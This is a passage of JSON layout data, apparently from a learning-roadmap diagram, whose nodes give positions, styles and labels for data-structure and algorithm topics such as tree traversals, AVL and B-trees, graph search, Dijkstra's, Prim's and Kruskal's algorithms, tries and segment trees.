319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319\n      },\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 101.8618127280065,\n        \"y\": 974.0108704739819\n      }\n    },\n    {\n      \"id\": \"AtX-PeI8nY4-5bA-xLla0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 172.52847939467313,\n        \"y\": 888.6775371406485\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Linear Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Wt74MRKaZcs8lYvfqjffT\"\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 173\n      },\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 172.52847939467313,\n        \"y\": 888.6775371406485\n      }\n    },\n    {\n      \"id\": \"Wt74MRKaZcs8lYvfqjffT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 172.52847939467313,\n        \"y\": 835.6775371406485\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Binary Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 173,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 173\n      },\n      \"measured\": {\n        \"width\": 173,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 172.52847939467313,\n        \"y\": 835.6775371406485\n      }\n    },\n    {\n      \"id\": \"r2Jagzbx0qOG-VtxBY-mz\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 99.8618127280065,\n        \"y\": 1163.8297498253157\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tree Data Structures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"j_r1tB16bA7R3yDAWN7Oj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319\n      },\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 99.8618127280065,\n        \"y\": 1163.8297498253157\n      }\n    },\n    {\n      \"id\": \"2Od5lNc6fCM6Gyj_axj4n\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -122.75937095351239,\n        \"y\": 1251.7591775424928\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tree Traversal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"YJsAQWJpLwVN6oCxNwNAn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -122.75937095351239,\n        \"y\": 1251.7591775424928\n      }\n    },\n    {\n      \"id\": \"YJsAQWJpLwVN6oCxNwNAn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 100.75475775437354,\n        \"y\": 1250.7275486887602\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Search Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 100.75475775437354,\n        \"y\": 1250.7275486887602\n      }\n    },\n    {\n      \"id\": \"pfg-qclOpvlsGMdlZ1aoj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 119.25475775437354,\n        \"y\": 1308.3406878686105\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Breadth First Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gR8KcOIADUxS8hdiEaGZy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 119.25475775437354,\n        \"y\": 1308.3406878686105\n      }\n    },\n    {\n      \"id\": \"gR8KcOIADUxS8hdiEaGZy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 119.25475775437354,\n        \"y\": 1361.3406878686105\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Depth First Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 213,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 119.25475775437354,\n        \"y\": 1361.3406878686105\n      }\n    },\n    {\n      \"id\": \"iCA7UKZih4ItDmDNEC8Q-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -112.75937095351239,\n        \"y\": 1312.7591775424928\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"In-Order Traversal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"j6_DyKiyG1wBuygQkxWB7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -112.75937095351239,\n        \"y\": 1312.7591775424928\n      }\n    },\n    {\n      \"id\": \"BMEoO65zsX51H4Js1gcWI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -112.75937095351239,\n        \"y\": 1365.7591775424928\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pre-Order Traversal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"j6_DyKiyG1wBuygQkxWB7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -112.75937095351239,\n        \"y\": 1365.7591775424928\n      }\n    },\n    {\n      \"id\": \"j6_DyKiyG1wBuygQkxWB7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -112.75937095351239,\n        \"y\": 1418.7591775424928\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Post-Order Traversal\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 205,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -112.75937095351239,\n        \"y\": 1418.7591775424928\n      }\n    },\n    {\n      \"id\": \"RPU5CGp2Li5lk0UB-zNHT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -346.8767254736989,\n        \"y\": 1254.1460383626422\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Binary Trees\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"R3Coq0TG1_cSOXzXWgpuI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204\n      },\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 53\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -346.8767254736989,\n        \"y\": 1254.1460383626422\n      }\n    },\n    {\n      \"id\": \"UYm7unZfXd9Ge5EYV4odb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -346.8767254736989,\n        \"y\": 1311.1460383626422\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Binary Search Trees\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"R3Coq0TG1_cSOXzXWgpuI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204\n      },\n      \"measured\": {\n        \"width\": 217,\n        \"height\": 52\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -346.8767254736989,\n        \"y\": 1311.1460383626422\n      }\n    },\n    {\n      \"id\": \"5MCgKpylPzDZaGBEUU51r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -347.8767254736989,\n        \"y\": 1367.1460383626422\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"AVL Trees\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"R3Coq0TG1_cSOXzXWgpuI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204\n      },\n      \"measured\": {\n        \"width\": 218,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -347.8767254736989,\n        \"y\": 1367.1460383626422\n      }\n    },\n    {\n      \"id\": \"2F6BcbAzICynOK3oEj-Is\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -347.8767254736989,\n        \"y\": 1422.1460383626422\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"B-Trees\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"R3Coq0TG1_cSOXzXWgpuI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 204,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 204\n      },\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 53\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -347.8767254736989,\n        \"y\": 1422.1460383626422\n      }\n    },\n    {\n      \"id\": \"j_r1tB16bA7R3yDAWN7Oj\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -711.2840503957483,\n        \"y\": 1163.8297498253157\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Graph Data Structures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 319,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 319\n      },\n      \"measured\": {\n        \"width\": 243,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -711.2840503957483,\n        \"y\": 1163.8297498253157\n      }\n    },\n    {\n      \"id\": \"XVw2_dL3uN0SOWmjH1Uao\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -709.2840503957483,\n        \"y\": 1018.1825774196891\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Directed Graph\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VnKm_j7McUW9Lo0iKyPUp\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239\n      },\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.2840503957483,\n        \"y\": 1018.1825774196891\n      }\n    },\n    {\n      \"id\": \"VnKm_j7McUW9Lo0iKyPUp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -709.2840503957483,\n        \"y\": 1071.182577419689\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Undirected Graph\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239\n      },\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.2840503957483,\n        \"y\": 1071.182577419689\n      }\n    },\n    {\n      \"id\": \"A3lFT7bB2T_uM3EGlMnV4\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1256.6983580268131\n      },\n      \"width\": 242,\n      \"height\": 171,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 171\n      },\n      \"selected\": false,\n      \"data\": {\n        \"oldId\": \"3EDlCW_qIgvDcnBZSmVNI\"\n      },\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 188\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1256.6983580268131\n      }\n    },\n    {\n      \"id\": \"LW5HZMca4lvhbbA8KYaOa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1256.6983580268131\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Search Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"YJsAQWJpLwVN6oCxNwNAn\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1256.6983580268131\n      }\n    },\n    {\n      \"id\": \"c7LdXJPv-5M-NPKSCXYuB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699.7840503957483,\n        \"y\": 1314.3114972066635\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Breadth First Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pfg-qclOpvlsGMdlZ1aoj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699.7840503957483,\n        \"y\": 1314.3114972066635\n      }\n    },\n    {\n      \"id\": \"NrPO7vF8Z1WzmA9Ca3Y_E\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699.7840503957483,\n        \"y\": 1367.3114972066635\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Depth First Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gR8KcOIADUxS8hdiEaGZy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699.7840503957483,\n        \"y\": 1367.3114972066635\n      }\n    },\n    {\n      \"id\": \"ky_3Gu_ObKNs5dXhqWQMW\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1430.3966310007177\n      },\n      \"width\": 242,\n      \"height\": 171,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 171\n      },\n      \"selected\": false,\n      \"data\": {\n        \"oldId\": \"A3lFT7bB2T_uM3EGlMnV4\"\n      },\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 243\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1430.3966310007177\n      }\n    },\n    {\n      \"id\": \"N-qvYirxpORcaTslvlOL0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1430.3966310007177\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Shortest Path Algorithms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"LW5HZMca4lvhbbA8KYaOa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1430.3966310007177\n      }\n    },\n    {\n      \"id\": \"87UugvReiywF0E7Acos9U\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699.7840503957483,\n        \"y\": 1488.009770180568\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Dijkstra's Algorithm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"c7LdXJPv-5M-NPKSCXYuB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699.7840503957483,\n        \"y\": 1488.009770180568\n      }\n    },\n    {\n      \"id\": \"7CgGwdwHnOmISmEPtJegN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699.7840503957483,\n        \"y\": 1540.3211823343227\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Bellman-Ford Algoritm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AabJqPUwFVBVS02YPDPvL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699.7840503957483,\n        \"y\": 1540.3211823343227\n      }\n    },\n    {\n      \"id\": \"Kx52UjvvWUncCaGJezk54\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1657.3211823343227\n      },\n      \"width\": 242,\n      \"height\": 171,\n      \"style\": {\n        \"width\": 242,\n        \"height\": 171\n      },\n      \"selected\": false,\n      \"data\": {\n        \"oldId\": \"ky_3Gu_ObKNs5dXhqWQMW\"\n      },\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 169\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1657.3211823343227\n      }\n    },\n    {\n      \"id\": \"Ktqau1VkVrnnVYByqcacM\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1657.3211823343227\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Minimum Spanning Tree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"N-qvYirxpORcaTslvlOL0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 247,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -713.2840503957483,\n        \"y\": 1657.3211823343227\n      }\n    },\n    {\n      \"id\": \"yEWnYjW0ZLVhsLc9rH4ae\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699.7840503957483,\n        \"y\": 1714.934321514173\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Prim's Algorithm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"87UugvReiywF0E7Acos9U\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699.7840503957483,\n        \"y\": 1714.934321514173\n      }\n    },\n    {\n      \"id\": \"F3bPbwIdCNMzL7QXEYJK3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -699.7840503957483,\n        \"y\": 1767.934321514173\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Kruskal's Algorithm\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AabJqPUwFVBVS02YPDPvL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"measured\": {\n        \"width\": 220,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -699.7840503957483,\n        \"y\": 1767.934321514173\n      }\n    },\n    {\n      \"id\": \"G4chkalXNt5RjJzNA1ev6\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -402.1381872719935,\n        \"y\": 1187.8297498253157\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 150,\n      \"measured\": {\n        \"width\": 20,\n        \"height\": 690\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -402.1381872719935,\n        \"y\": 1187.8297498253157\n      }\n    },\n    {\n      \"id\": \"KnyUHDvpDTUO0EkAs9pT8\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -426.5482627301021,\n        \"y\": 1632.9124703947627\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Advanced Data Structures\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"VMV4F-SPKWn9CtpHXEjeN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -426.5482627301021,\n        \"y\": 1632.9124703947627\n      }\n    },\n    {\n      \"id\": \"zy3wpb1MjizfUfx9_rZy2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -78.66928117616911,\n        \"y\": 1524.9124703947627\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Trie\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235\n      },\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -78.66928117616911,\n        \"y\": 1524.9124703947627\n      }\n    },\n    {\n      \"id\": \"iFNS3x9wVRIjpixct6H7x\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -78.66928117616911,\n        \"y\": 1577.9124703947627\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Segment Trees\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 235,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 235\n      },\n      \"measured\": {\n        \"width\": 235,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -78.66928117616911,\n        \"y\": 1577.9124703947627\n      }\n    },\n    {\n      \"id\": 